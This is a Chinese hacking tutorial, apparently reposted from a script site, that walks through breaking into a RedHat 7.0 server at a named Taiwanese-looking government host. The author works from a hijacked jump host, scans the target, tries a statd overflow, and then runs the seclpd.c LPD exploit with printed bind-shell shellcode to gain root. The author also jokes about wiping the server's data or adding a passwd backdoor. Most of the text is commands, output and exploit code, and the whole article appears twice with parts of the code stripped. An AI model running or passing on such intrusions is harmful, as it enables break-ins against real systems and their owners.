入侵RedHat Linux系統(tǒng)實(shí)例
發(fā)布日期:2021-12-26 08:32 | 文章來(lái)源:腳本之家
下 載:http://210.77.146.151/images/hlc/files/seclpd.c
我寫(xiě)此文的目的不在于教人入侵,而是為了提高自身的技術(shù)和加強(qiáng)網(wǎng)絡(luò)管理員的安全防范意識(shí)。僅此而已!粗心大意的網(wǎng)絡(luò)管理員應(yīng)該明白:由于你們一個(gè)小小的操作失誤可能會(huì)導(dǎo)致整個(gè)網(wǎng)絡(luò)全面淪陷!本文主要是圍繞UNIX下面的一個(gè)小小的服務(wù)進(jìn)程(LPD:網(wǎng)絡(luò)打印服務(wù))的攻擊而進(jìn)行的。
讓俺慢慢道來(lái)…..
咳…咳…先給我上茶!(什么?! 沒(méi)有?俺不說(shuō)了!!)呵呵……開(kāi)開(kāi)玩笑,言歸正傳.首先確定目標(biāo),隨便找上臺(tái)灣一個(gè)搜索引擎。隨便挑一個(gè)吧!假設(shè)是:www.fbi.gov.tw。^__^
先讓俺看看是不是連得上:
C:\ping www.fbi.gov.tw
Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms
嘻嘻—不但連得上,速度還不錯(cuò)……
先telnet看看banner:
C:\>telnet www.fbi.gov.tw
遺失對(duì)主機(jī)的連接。
哈哈……看來(lái)把telnet服務(wù)給shut掉了!再試試ftp
C:\>ftp www.fbi.gov.tw
Connected to www.fbi.gov.tw.
220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.fbi.gov.tw:(none)):
呵~~wu-2.6.1看來(lái)有點(diǎn)眉目了。這臺(tái)機(jī)器像是大名鼎鼎的…………對(duì)!RedHat7.0!沒(méi)錯(cuò)就是她了!首先必須確認(rèn)一下,連上俺的跳板:
C:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$
呵呵~~這是我在臺(tái)灣的一臺(tái)跳板。RH7的哦!等下我就會(huì)告訴你們拿這些肉雞辦法……拿上nmap掃描器,看看其中的奧妙~~~
bash-2.04$nmap -sT -O www.fbi.gov.tw
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
恰恰??!打開(kāi)的端口還挺多的嘛!不錯(cuò)……不錯(cuò)……。79/tcp finger?呵呵~先看看這個(gè),不過(guò)linux沒(méi)有finger用戶列表這個(gè)漏洞,不管它俺先看看有沒(méi)有倒霉鬼。
bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
No one logged on.
sh*t!怎么會(huì)沒(méi)人!開(kāi)門(mén)!給我開(kāi)門(mén)!:(……再看看111/tcp sunrpc。嘿嘿……近來(lái)rpc漏洞風(fēng)行,不知道RH7這個(gè)東東會(huì)不會(huì)有?管它呢,先看看再說(shuō)!
bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status
看來(lái)有rpc.statd服務(wù)。等俺來(lái)看看能不能遠(yuǎn)程溢出拿個(gè)rootshell。哈哈!這個(gè)rpc.statd遠(yuǎn)程溢出是我在hack.co.za找到的。等俺先來(lái)看看幫助。嘻嘻~~
bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看來(lái)并不支持RH7。怎么辦??讓俺把0-2全部試試看再說(shuō)!start……
bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
哈哈受到挫折,再試……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
一樣!繼續(xù)……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
我烤??!烤烤烤!rpc.statd行不通啊!讓我想想看……RH7應(yīng)該有個(gè)遠(yuǎn)程溢出……好像是lp服務(wù)造成的。讓俺去找找看。哈哈~~找到了……“seclpd.c”應(yīng)該是這個(gè)東東了。 以下程序也可以在黑盟下載。
—————以下代碼僅供教學(xué)使用,決不能用來(lái)進(jìn)行惡意攻擊—————
/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ADDRESS_BUFFER_SIZE 32 4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
哈哈~~brute暴力破解??茨愠霾怀鰏hell!現(xiàn)在要等上一會(huì)兒……去泡杯coffee慢慢來(lái)。(什么!沒(méi)coffee?tea!這個(gè)也行?。^(guò)了大約一杯coffee的時(shí)間。也就是5-8分鐘左右,就會(huì)有結(jié)果了。(什么!什么!5-8分鐘你喝了5杯!我倒~~~)……出來(lái)了。哈哈~~
- [ ] shell located on www.fbi.gov.tw
- [ ] Enter Commands at will
Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)
Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦!可以為所欲為了~~把它的東西全部刪了~~哈哈……太過(guò)火了~~還是在passwd中加個(gè)后門(mén)算了~~至于怎么加,這就不在本文的范圍內(nèi)了……^___^
我寫(xiě)此文的目的不在于教人入侵,而是為了提高自身的技術(shù)和加強(qiáng)網(wǎng)絡(luò)管理員的安全防范意識(shí)。僅此而已!粗心大意的網(wǎng)絡(luò)管理員應(yīng)該明白:由于你們一個(gè)小小的操作失誤可能會(huì)導(dǎo)致整個(gè)網(wǎng)絡(luò)全面淪陷!本文主要是圍繞UNIX下面的一個(gè)小小的服務(wù)進(jìn)程(LPD:網(wǎng)絡(luò)打印服務(wù))的攻擊而進(jìn)行的。
讓俺慢慢道來(lái)…..
咳…咳…先給我上茶!(什么?! 沒(méi)有?俺不說(shuō)了!!)呵呵……開(kāi)開(kāi)玩笑,言歸正傳.首先確定目標(biāo),隨便找上臺(tái)灣一個(gè)搜索引擎。隨便挑一個(gè)吧!假設(shè)是:www.fbi.gov.tw。^__^
先讓俺看看是不是連得上:
C:\ping www.fbi.gov.tw
Pinging www.fbi.gov.tw[202.106.184.200] with 32 bytes of data:
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms
嘻嘻—不但連得上,速度還不錯(cuò)……
先telnet看看banner:
C:\>telnet www.fbi.gov.tw
遺失對(duì)主機(jī)的連接。
哈哈……看來(lái)把telnet服務(wù)給shut掉了!再試試ftp
C:\>ftp www.fbi.gov.tw
Connected to www.fbi.gov.tw.
220 fbi-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.fbi.gov.tw:(none)):
呵~~wu-2.6.1看來(lái)有點(diǎn)眉目了。這臺(tái)機(jī)器像是大名鼎鼎的…………對(duì)!RedHat7.0!沒(méi)錯(cuò)就是她了!首先必須確認(rèn)一下,連上俺的跳板:
C:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$
呵呵~~這是我在臺(tái)灣的一臺(tái)跳板。RH7的哦!等下我就會(huì)告訴你們拿這些肉雞辦法……拿上nmap掃描器,看看其中的奧妙~~~
bash-2.04$nmap -sT -O www.fbi.gov.tw
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.fbi.gov.tw):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
恰恰??!打開(kāi)的端口還挺多的嘛!不錯(cuò)……不錯(cuò)……。79/tcp finger?呵呵~先看看這個(gè),不過(guò)linux沒(méi)有finger用戶列表這個(gè)漏洞,不管它俺先看看有沒(méi)有倒霉鬼。
bash-2.04$finger @www.fbi.gov.tw
[www.fbi.gov.tw]
No one logged on.
sh*t!怎么會(huì)沒(méi)人!開(kāi)門(mén)!給我開(kāi)門(mén)!:(……再看看111/tcp sunrpc。嘿嘿……近來(lái)rpc漏洞風(fēng)行,不知道RH7這個(gè)東東會(huì)不會(huì)有?管它呢,先看看再說(shuō)!
bash-2.04$rpcinfo -p www.fbi.gov.tw
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status
看來(lái)有rpc.statd服務(wù)。等俺來(lái)看看能不能遠(yuǎn)程溢出拿個(gè)rootshell。哈哈!這個(gè)rpc.statd遠(yuǎn)程溢出是我在hack.co.za找到的。等俺先來(lái)看看幫助。嘻嘻~~
bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看來(lái)并不支持RH7。怎么辦??讓俺把0-2全部試試看再說(shuō)!start……
bash-2.04$stat -d 0 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
哈哈受到挫折,再試……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
一樣!繼續(xù)……
bash-2.04$stat -d 1 www.fbi.gov.tw
buffer: 0xbffff314 length: 999 ( str/ nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
我烤??!烤烤烤!rpc.statd行不通啊!讓我想想看……RH7應(yīng)該有個(gè)遠(yuǎn)程溢出……好像是lp服務(wù)造成的。讓俺去找找看。哈哈~~找到了……“seclpd.c”應(yīng)該是這個(gè)東東了。 以下程序也可以在黑盟下載。
—————以下代碼僅供教學(xué)使用,決不能用來(lái)進(jìn)行惡意攻擊—————
/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ADDRESS_BUFFER_SIZE 32 4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
哈哈~~brute暴力破解??茨愠霾怀鰏hell!現(xiàn)在要等上一會(huì)兒……去泡杯coffee慢慢來(lái)。(什么!沒(méi)coffee?tea!這個(gè)也行?。^(guò)了大約一杯coffee的時(shí)間。也就是5-8分鐘左右,就會(huì)有結(jié)果了。(什么!什么!5-8分鐘你喝了5杯!我倒~~~)……出來(lái)了。哈哈~~
- [ ] shell located on www.fbi.gov.tw
- [ ] Enter Commands at will
Linux FBI.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp)
Well……哈哈~uid=0(root)哇哈哈哈哈…………先在你是root啦!可以為所欲為了~~把它的東西全部刪了~~哈哈……太過(guò)火了~~還是在passwd中加個(gè)后門(mén)算了~~至于怎么加,這就不在本文的范圍內(nèi)了……^___^
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
下一篇:
關(guān)注官方微信